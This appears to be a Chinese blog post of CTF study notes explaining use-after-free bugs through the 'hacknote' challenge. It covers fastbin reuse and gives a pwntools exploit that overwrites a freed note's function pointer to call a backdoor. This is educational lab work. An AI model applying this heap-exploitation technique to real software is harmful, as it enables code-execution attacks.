我的学习笔记大量都是基于 CTF-WIKI。

UAF,Use After Free 的缩写,是一种常见漏洞。

# 原理

Use After Free 意如其名,是一个内存漏洞,当一个内存块被释放后又被使用,有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

# 例题

链接:https://pan.baidu.com/s/1ItYklH0FyT0CNrs7Jjumuw
提取码:F1re

首先纵观全局,调试一下后,还原一下结构体:

1
2
3
4
struct note {
void (*printnote)();
char *content;
};

分析一下,系统一共有几个函数:

①:addnote: 系统先申请一个 0x10 的结构体,其中前八个字节拿来存放 prev_size 和 size,后八个字节拿来存放两个地址,分别是结构体里函数的地址和 content 所在的地址。接着用户可以申请一个自定义大小的堆块,拿来存放 content 数据。

②:printnote:代码如下,会去 print 出结构体第二个指针指向的地址里的内容,也就是 content 的内容。

1
return puts(*(const char **)(a1 + 4));

③:del_note:漏洞出现的地方,程序在 free 后没有把指针置为 NULL。存在 UAF 漏洞。

④:print_note:调用 printnote 函数输出 content 内容。

以及系统有一个后门函数 magic

1
return system("cat flag");

那思路就很明确了,我们需要控制程序流程到该后门函数。目的也很明确了,只能去改写结构体里函数的地址为后门函数地址。

# 具体思路

①:首先创建两个 note:note0 与 note1,这两个 note 的 size 大小只要不与 0x8 相同就行。这里我申请的 0x10

原因:避免后期申请 note2 的时候取 note0 或者 note1 的 content 堆段,就达不到修改结构体里指针的效果。

效果:1

②:先 free 掉 note0,再 free 掉 note1。

原因:注意 note0 与 note1 里都有 0x10 大小的堆块和 0x content size 大小的堆块。具体为什么要先 free 掉 note0 再 free 掉 note1 后面一起说。

效果:2

同时现在 fastbin 里出现了相应的空闲堆块。

3

③:再申请一个 0x8 大小的 note3。

由于创建用户申请的堆块前会申请一个结构体:

1
*(&notelist + i) = malloc(8u);

这个堆块会直接从 fastbin 里取一块 0x10 大小的堆块。

fastbin 的每个 bin 采取 LIFO 策略,最近释放的 chunk 会更早地被分配

由于 print_note 有检查非空机制:

1
2
if ( *(&notelist + v1) )
(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));

因此我们最终是只能 print note0 的,所以我们的就得修改 note0 结构体堆块里的指针,因此我们之前需要后 delete note1,让 note1 的空闲堆块先被分配,接下来才是把 note0 的空闲堆块分给 content。也就是说,现在我们把 note0 的指针段变成了 note3 的 content,因此可以修改。

# exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
context.log_level = 'debug'
r=process('/mnt/hgfs/ubuntu/hacknote')

def addnote(size,content):
r.sendlineafter("Your choice :",b'1')
r.sendlineafter("Note size :",str(size))
r.sendlineafter("Content :",content)

def delete(id):
r.sendlineafter("Your choice :",b'2')
r.sendlineafter("Index :",str(id))

def printnote(id):
r.sendlineafter("Your choice :",b'3')
r.sendlineafter("Index :",str(id))


addnote(0x10,b'N1rvana')
addnote(0x10,b'Nirvana')
delete(0)
delete(1)
magic_addr = 0x08048986
payload = p32(magic_addr)*2
addnote(8,payload)
gdb.attach(r)
pause()
printnote(0)
r.interactive()


更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝